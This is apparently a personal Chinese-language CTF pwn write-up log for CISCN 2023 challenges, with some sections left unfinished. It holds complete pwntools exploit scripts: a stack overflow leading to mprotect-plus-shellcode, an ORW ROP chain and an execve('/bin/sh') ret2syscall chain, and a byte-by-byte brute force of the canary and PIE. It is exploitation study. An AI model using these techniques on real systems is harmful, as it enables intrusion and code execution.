国赛-CISCN 2023-PWN-烧烤摊儿 2024.7.31
日常检查
丢进ida里面看看
国赛题是不一样哈!!
ida都不好分析(中文字符串反编译不出来)
☝🤓
1 https://blog.csdn.net/donglxd/article/details/135243027
找到办法了
嗯~舒服多了!
找一下漏洞,栈溢出
1 2 3 4 5 6 7 8 9 10 11 12 __int64 gaiming () { int v0; int v1; int v2; int v3; char v5[32 ]; puts ("烧烤摊儿已归你所有,请赐名:" ); _isoc99_scanf("%s" , v5, v0, v1, v2, v3); j_strcpy_ifunc (name, v5); return 0LL ; }
"%s"
格式化字符串会读取一个字符串,直到遇到空白字符(空格、换行等),并且不会对输入长度进行限制。
ok,说明可以通过溢出来进行泄露。并且注意到V5给name赋值,并且name还在全局变量data段上。
这里有三种方法,都学习一下 🙌🙌 这个大佬写的wp灰常NB 【CISCN 2023】烧烤摊儿 | 坠入星野的月🌙 (uf4te.cn)
方法一:ret2shellcode(mprotect 修改权限) 因为name在data段上,所以考虑把shellcode那么写在data着(我以前以为canary开着无法写shellcode呢)
首先,查看一下权限,我们看到地址
1 .data:00000000004E60F0 name db '大金',0 ; DATA XREF: menu+C↑o
可以看到
并没有可执行权限,这是就是利用mprotect()函数了,ida里面知道起始地址
1 mprotect .text 000000000045 8B00 00000025 00000000 R . . . . . . . .
mprotect()
函数是 Unix 和类 Unix 系统(如 Linux)上的一个系统调用,用于改变一个内存区域的保护状态。这个函数允许程序控制特定内存段的访问权限,比如是否允许读取、写入或执行该内存段的内容。这对于实现安全机制、保护敏感数据或创建特定权限的内存区域(如只读的代码段或只写的数据段)非常有用。
然后就是找一些合适的ROP了(工具ROPgadget)
1 2 3 4 5 6 7 8 9 10 ''' 0x000000000040264f : pop rdi ; ret 0x000000000040a67e : pop rsi ; ret 0x000000000040101a : ret 0x00000000004a404b : pop rdx ; pop rbx ; ret ''' pop_rdi=0x000000000040264f pop_rsi=0x000000000040a67e pop_rdx_rbx=0x00000000004a404b ret_addr=0x000000000040101a
mprotect()用到的三个参数分别是:
① rdi
:要修改的内存页首地址 (我这里将 0x4e6000 ~ 0x4e9000
这段地址全部改为 rwx 权限) ② rsi
:要修改的内存页大小 (我这里段长度为 0x3000) ③ rdx
:要修改的权限 (其中 r : 4,w : 2,x : 1,因此 rwx 为 4 + 2 + 1 = 7)
介绍一下大体思路:要收铺子就得有钱,这里就要看一下出题者给我们的提示了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 __int64 pijiu () { int v0; int v1; int v2; int v3; int v4; int v5; int v6; int v7; int v9; int v10; v10 = 1 ; v9 = 1 ; puts ("1. 青岛啤酒" ); puts ("2. 燕京U8" ); puts ("3. 勇闯天涯" ); _isoc99_scanf("%d" , &v10, v0, v1, v2, v3); puts ("来几瓶?" ); _isoc99_scanf("%d" , &v9, v4, v5, v6, v7); if ( 10 * v9 >= money ) puts ("诶哟,钱不够了" ); else money += -10 * v9;<<<================================= puts ("咕噜咕噜..." ); return 0LL ; }
在看一下vip()就知道要的钱比100000多就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 __int64 vip () { puts ("老板,你这摊儿,我买了" ); if ( money <= 100000 ) { puts ("没钱别瞎捣乱" ); } else { money -= 100000 ; own = 1 ; puts ("成交" ); } return 0LL ; }
知道多少钱就可以买了,最后就可以到5进行溢出就行了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 from pwn import *r=remote('pwn.challenge.ctf.show' ,28274 ) pop_rdi=0x000000000040264f pop_rsi=0x000000000040a67e pop_rdx_rbx=0x00000000004a404b ret_addr=0x000000000040101a name_addr=0x0000000004E60F0 mprotect_addr=elf.symbols['mprotect' ] main_addr=elf.symbols['main' ] r.sendline("1" ) r.sendline("1" ) r.sendline("-100000000" ) r.sendline("4" ) r.sendline("5" ) payload=b'a' *(0x20 +8 ) payload += p64(pop_rdi_addr) + p64(0x4E6000 ) + p64(pop_rsi_addr) + p64(0x3000 ) + p64(pop_rdx_rbx_addr) + p64(0x7 ) + p64(0 ) payload +=p64(mprotect_addr)+p64(ret_addr)+p64(main_addr) r.sendline(payload) r.sendline("1" ) r.sendline("1" ) r.sendline("-100000000" ) r.sendline("4" ) r.sendline("5" ) shellcode= b'\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05' ''' \x48\x31\xd2 # xor rdx, rdx \x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68 # movabs rbx, 0x68732f6e69622f2f 这里是/bin/sh。只不过是小段存储 \x48\xc1\xeb\x08 # shr rbx, 8 \x53 # push rbx \x48\x89\xe7 # mov rdi, rsp \x50 # push rax \x57 # push rdi \x48\x89\xe6 # mov rsi, rsp \xb0\x3b # mov al, 0x3b \x0f\x05 # syscall ''' payload=payload = shellcode.ljust(0x28 , b'\x00' ) payload += p64(name_addr) r.sendline(payload) r.interactive()
方法二:ORW 总体思路不变,在买下摊铺后,执行5时,由于程序包含open64()、read()、write()函数
因此还可以利用V5的溢出使用ORW读出flag
确定三个函数的地址
1 2 3 4 5 6 open64 .text 0000000000457C90 00000128 00000078 00000001 R . . . . . . T . read .text 0000000000457DC0 0000009D 00000020 R . . . . . . . . write .text 0000000000457E60 0000009D 00000020 R . . . . . . . . open_addr=0x000000000457C90 read_addr=0x000000000457DC0 write_addr=0x00000000457E60
首先通过__fastcall j_strcpy_ifunc()
向name
中写入b'./flag\x00\x00'
,并将b'./flag\x00\x00'
作为open64()
函数的参数,构造open(b'./flag\x00\x00')
用来打开当前目录名为flag的文件,其中0表示只读方式打开
然后构造 read(3, name_addr, 0x50)
将 flag 内容写入到 name
的地址处,再通过构造 write(1, name_addr, 0x50)
将 flag 内容从 name
的地址处输出到终端
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *io = remote("pwn.challenge.ctf.show" ,28297 ) elf = ELF("./1111" ) open64_addr=0x000000000457C90 read_addr=0x000000000457DC0 write_addr=0x00000000457E60 name_addr = 0x4E60F0 pop_rdi_addr = 0x40264f pop_rsi_addr = 0x40a67e pop_rdx_rbx_addr = 0x4a404b io.sendline("1" ) io.sendline("1" ) io.sendline("-100000000" ) io.sendline("4" ) io.sendline("5" ) ORW = p64(pop_rdi_addr) + p64(name_addr) + p64(pop_rsi_addr) + p64(0 ) + p64(open64_addr) ORW += p64(pop_rdi_addr) + p64(3 ) + p64(pop_rsi_addr) + p64(name_addr) + p64(pop_rdx_rbx_addr) + p64(0x50 ) + p64(0 ) + p64(read_addr) ORW += p64(pop_rdi_addr) + p64(1 ) + p64(pop_rsi_addr) + p64(name_addr) + p64(pop_rdx_rbx_addr) + p64(0x50 ) + p64(0 ) + p64(write_addr) payload = b'./flag\x00\x00' .ljust(0x28 , b'a' ) payload += ORW io.sendline(payload) io.interactive()
方法三:ret2syscall 前面步骤不变,,由于没有给出libc文件,并且可以向data段写入数据
所以想把data段上写入’‘/bin/sh’‘
但程序没有system函数,所以用execve函数来构造execve(“/bin/sh”, NULL, NULL)
首先需要通过 j_strcpy_ifunc(&name, v5)
向 name
中写入 b'/bin/sh\x00'
,并溢出 v5
构造 execve("/bin/sh", NULL, NULL)
执行
注意这里是将 b'/bin/sh\x00'
写入到 name
,所以只能一次性 get shell
如果分两次的话,例如:第一次写入 b'/bin/sh\x00'
,第二次执行 execve("/bin/sh", NULL, NULL)
,则在第二次中执行 j_strcpy_ifunc(&name, v5)
又会将 name
覆盖掉,导致 get shell 失败
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import *io = remote("pwn.challenge.ctf.show" ,28297 ) elf = ELF("./1111" ) name_addr = 0x4E60F0 pop_rdi_addr = 0x40264f pop_rsi_addr = 0x40a67e pop_rdx_rbx_addr = 0x4a404b pop_rax_addr = 0x458827 syscall_addr = 0x402404 io.sendline("1" ) io.sendline("1" ) io.sendline("-100000000" ) io.sendline("4" ) io.sendline("5" ) payload = b'/bin/sh\x00' .ljust(0x28 , b'a' ) payload += p64(pop_rax_addr) + p64(0x3b ) payload += p64(pop_rdi_addr) + p64(name_addr) payload += p64(pop_rsi_addr) + p64(0 ) payload += p64(pop_rdx_rbx_addr) + p64(0 ) + p64(0 ) payload += p64(syscall_addr) io.sendline(payload) io.interactive()
syscall相比来说是最简单的。
🙌🙌🙌🙌🙌🙌
2023-pwn-Shell We Go 2024.8.1
日常检查
丢进ida里面看看
这就是国赛的强度吗?
欧克,搜索引擎启动!!!
我勒个豆,GO写的
🙌🙌🙌🙌🙌放着!
2023-pwn-funcanary 2024.8.1
日常检查
ida里面看看
我觉得漏洞应该是这个read函数
1 2 3 4 5 6 7 8 9 unsigned __int64 sub_128A () { char buf[104 ]; unsigned __int64 v2; v2 = __readfsqword(0x28u ); read (0 , buf, 128uLL ); return v2 - __readfsqword(0x28u ); }
嗯~应该怎么做呢,先把canary泄露出来吗?
rbp上面的那个吗?
gdb调调看
嘶! 地址随机化也开了
写脚本跑吗?
1 2 3 4 5 6 7 8 9 from pwn import *r=remote('pwn.challenge.ctf.show' ,28255 ) gdb.attach pause() r.recvuntil("welcome" ) r.interactive()
嗯,也是找到canary了,直接溢出就行吗?
问的好,往哪溢呢?
有system函数不过,但是随机化不是开着呢吗?
嗯。怎么做呢?
就正常绕就行呗!
rop都不好整!
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *r=remote('pwn.challenge.ctf.show' ,28255 ) elf=('./1111' ) pop_rdi= r.recvuntil("welcome" ) r.interactive()
☝🤓,看什么的意思,ROP肯定是整不了
上网找一下
了解一下fork函数
嘶!!没仔细看其实是有一个后门的
这就比较好办了。现在唯一要解决的就是怎么跳转就行!
爆破canary和pie 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import *context(os='linux' ,arch='amd64' ,log_level='debug' ) p = remote("pwn.challenge.ctf.show" ,28255 ) p.recvuntil('welcome\n' ) canary = b'\x00' for k in range (7 ): for i in range (256 ): payload = b'a' * 0x68 + canary + bytes ([i]) p.send(payload) data = p.recvuntil("welcome\n" ) print (data) if b"fun" in data: canary += bytes ([i]) print ("canary is:" + str (canary)) break back_door = 0x231 for i in range (15 ): num=i<<12 payload = b'a' * 0x68 + p64(u64(canary)) + b'a' * 8 + p16(0x231 +num) p.send(payload) flag=p.recv() if b"ctfshow" in flag: print (str (flag)) break p.interactive()
这样爆破确实慢
唉。我是fw啊!!!
只能说了解了解
2024-gostack 2024.11.20
检查一下
ida打开发现反编译是有问题的,啥也看不懂
so,我运行了一下
只能说不是格式化字符串,好消息是看了一下保护机制,看着是没啥问题
怎么打呢?
看了一眼plt表,没啥特别熟悉的函数,肯定不是常规做法了,然后就是看见了mmap函数